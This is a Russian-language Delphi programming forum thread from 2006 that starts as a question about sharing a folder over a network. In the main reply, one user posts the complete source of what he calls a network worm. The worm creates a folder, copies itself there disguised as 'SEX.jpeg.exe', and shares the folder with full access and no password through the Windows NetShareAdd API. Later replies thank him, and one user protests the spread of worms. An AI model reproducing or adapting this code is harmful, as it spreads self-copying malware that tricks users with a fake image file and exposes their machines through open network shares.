Главная страница
    Top.Mail.Ru    Яндекс.Метрика
Форум: "Сети";
Текущий архив: 2006.11.19;
Скачать: [xml.tar.bz2];

Вниз

Подскажите как открыть доступ к определеной папке?   Найти похожие ветки 

 
Maxim13 ©   (2006-05-21 10:30) [0]

Мастера подскажите как можно с помощью делфи открыть доступ к определеной папке на моем компьютере что б другие пользователи  сети имели доступ к этой папке?


 
Замок ©   (2006-05-21 14:43) [1]

Я в одно время писал сетевого червя , который создавал папку в документах и расшаривал её с правами админа.
Работает в WIN 9x и NT (используються две разные библиотеки , для определения оси) под администратором
На подобный вопрос в данном форуме мне отказались давать ответ , поэтому если будут вопросы оставляй на форуме мыло отвечу если смогу.
Вот код :

unit Unit1;

interface

uses
 Windows, Messages, NetApi, SysUtils, Variants, Classes, Graphics, Controls, Forms,
 Dialogs, jpeg, ExtCtrls;

type
 TForm1 = class(TForm)
   Image1: TImage;
   procedure FormCreate(Sender: TObject);
   procedure FormClose(Sender: TObject; var Action: TCloseAction);
 private
 bNT:Boolean;
   fHandleNT, fHandle9x : THandle;
   { Private declarations }
 public
   { Public declarations }
 end;

var
 Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.FormCreate(Sender: TObject);
var
ver: TOSVersionInfo;

begin
if directoryexists ("C:\Documents and Settings\All Users\Документы\Porno") = true then
 halt// выход если папка уже существует
 else
createdir ("C:\Documents and Settings\All Users\Документы\Porno");
CopyFile(@(ParamStr(0))[1],@("C:\Documents and Settings\All Users\Документы\Porno" + "\SEX.jpeg.exe")[1],false); //копируем себя под
//именем SEX.jpeg.exe
ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo); // определяем тип ОС
// и загружаем соответствующую бибилиотеку
GetVersionEx(Ver);
case Ver.dwPlatformId of
 VER_PLATFORM_WIN32_NT       : bNT := True;
 VER_PLATFORM_WIN32_WINDOWS  : bNT := False;
 VER_PLATFORM_WIN32s         : bNT := False
end;

if bNT then
 fHandleNT := LoadLibrary("NETAPI32.DLL")
else
 fHandle9x := LoadLibrary("SVRAPI.DLL");
 
 end;
procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
var
 Share9x : TShareInfo502;
ShareNT : TShareInfo2;
wcPath, wcName, wcPass, wcComment: PWideChar;
edSharePath, edNetName, edPass, edComment: AnsiString;
begin
edSharePath := "C:\Documents and Settings\All Users\Документы\Porno";
edNetName := "Porno";
edPass := "";
edComment := "Porno";
if bNT then
 begin //Далее идёт код для NT
   @NetShareAddNT := GetProcAddress(fHandleNT,"NetShareAdd");
   if @NetShareAddNT=nil then
     Exit;

   // Конвертирование строк в Unicode
   GetMem(wcPath, WIDE_LENGTH);
   StringToWideChar(edSharePath, wcPath, WIDE_LENGTH);

   GetMem(wcName, WIDE_LENGTH);
   StringToWideChar(edNetName, wcName, WIDE_LENGTH);

   GetMem(wcPass, WIDE_LENGTH);
   StringToWideChar(edPass, wcPass, WIDE_LENGTH);

   GetMem(wcComment, WIDE_LENGTH);
   StringToWideChar(edComment, wcComment, WIDE_LENGTH);

   // Заполнение структуры
   ShareNT.shi2_path := wcPath;
   ShareNT.shi2_netname := wcName;
   ShareNT.shi2_passwd := wcPass;
   ShareNT.shi2_remark := wcComment;
   ShareNT.shi2_type := STYPE_DISKTREE;
   ShareNT.shi2_remark := "";
   ShareNT.shi2_permissions := ACCESS_ALL;
   ShareNT.shi2_max_uses := DWORD(-1);
   ShareNT.shi2_current_uses := 0;

   // Добавление открытого ресурса
   NetShareAddNT(nil,2,@ShareNT, nil);

   // Освобождение Unicode строк
   FreeMem (wcName);
   FreeMem (wcPath);
   FreeMem (wcPass);
   FreeMem (wcComment);
 end
else
 begin //Код для Windows 9x
  @NetShareAdd := GetProcAddress(fHandle9x,"NetShareAdd");
  if @NetShareAdd=nil then
   exit;

  // Заполнение структуры
  FillChar(Share9x.shi502_netname, SizeOf(Share9x.shi502_netname), #0);
  move(edNetName[1], Share9x.shi502_netname[0], Length(edNetName));
  Share9x.shi502_type := STYPE_DISKTREE;
  Share9x.shi502_flags := ACCESS_ALL;
  FillChar(Share9x.shi502_remark, SizeOf(Share9x.shi502_remark), #0);
  FillChar(Share9x.shi502_path, SizeOf(Share9x.shi502_path), #0);
  Share9x.shi502_path := PAnsiChar(edSharePath);
  FillChar(Share9x.shi502_rw_password, SizeOf(Share9x.shi502_rw_password), #0);
  FillChar(Share9x.shi502_ro_password, SizeOf(Share9x.shi502_ro_password), #0);

  NetShareAdd(nil,50,@Share9x,SizeOf(Share9x));
 end;
end;

end.


 
Maxim13 ©   (2006-05-21 20:36) [2]

Спасибо за ответ!


 
Maxim13 ©   (2006-05-21 20:47) [3]

А можеш мне на мыло кинуть эти две библиотеки? мое мыло maxim-13@mail.ru


 
Ildar ©   (2006-07-01 11:57) [4]

Они же в виндовс идут.


 
Дмитрий Белькевич ©   (2006-07-03 04:31) [5]

Количество червей выросло на тысячу ;) Модер, прибей ветку! Гадасть уже достала....



Страницы: 1 вся ветка

Форум: "Сети";
Текущий архив: 2006.11.19;
Скачать: [xml.tar.bz2];

Наверх




Память: 0.47 MB
Время: 0.041 c
1-1160048830
Aleksandr.
2006-10-05 15:47
2006.11.19
Есть готовые решения для PickList ячеек TStringGrid?


2-1162208904
Kosh
2006-10-30 14:48
2006.11.19
путь к папке


15-1162188972
Cyrax
2006-10-30 09:16
2006.11.19
Lingvo-перевод на осевом уровне


1-1160498919
Olleg_ator
2006-10-10 20:48
2006.11.19
Проблема при формировании отчета в Excel


2-1162358799
apic
2006-11-01 08:26
2006.11.19
TPersistent





Afrikaans Albanian Arabic Armenian Azerbaijani Basque Belarusian Bulgarian Catalan Chinese (Simplified) Chinese (Traditional) Croatian Czech Danish Dutch English Estonian Filipino Finnish French
Galician Georgian German Greek Haitian Creole Hebrew Hindi Hungarian Icelandic Indonesian Irish Italian Japanese Korean Latvian Lithuanian Macedonian Malay Maltese Norwegian
Persian Polish Portuguese Romanian Russian Serbian Slovak Slovenian Spanish Swahili Swedish Thai Turkish Ukrainian Urdu Vietnamese Welsh Yiddish Bengali Bosnian
Cebuano Esperanto Gujarati Hausa Hmong Igbo Javanese Kannada Khmer Lao Latin Maori Marathi Mongolian Nepali Punjabi Somali Tamil Telugu Yoruba
Zulu
Английский Французский Немецкий Итальянский Португальский Русский Испанский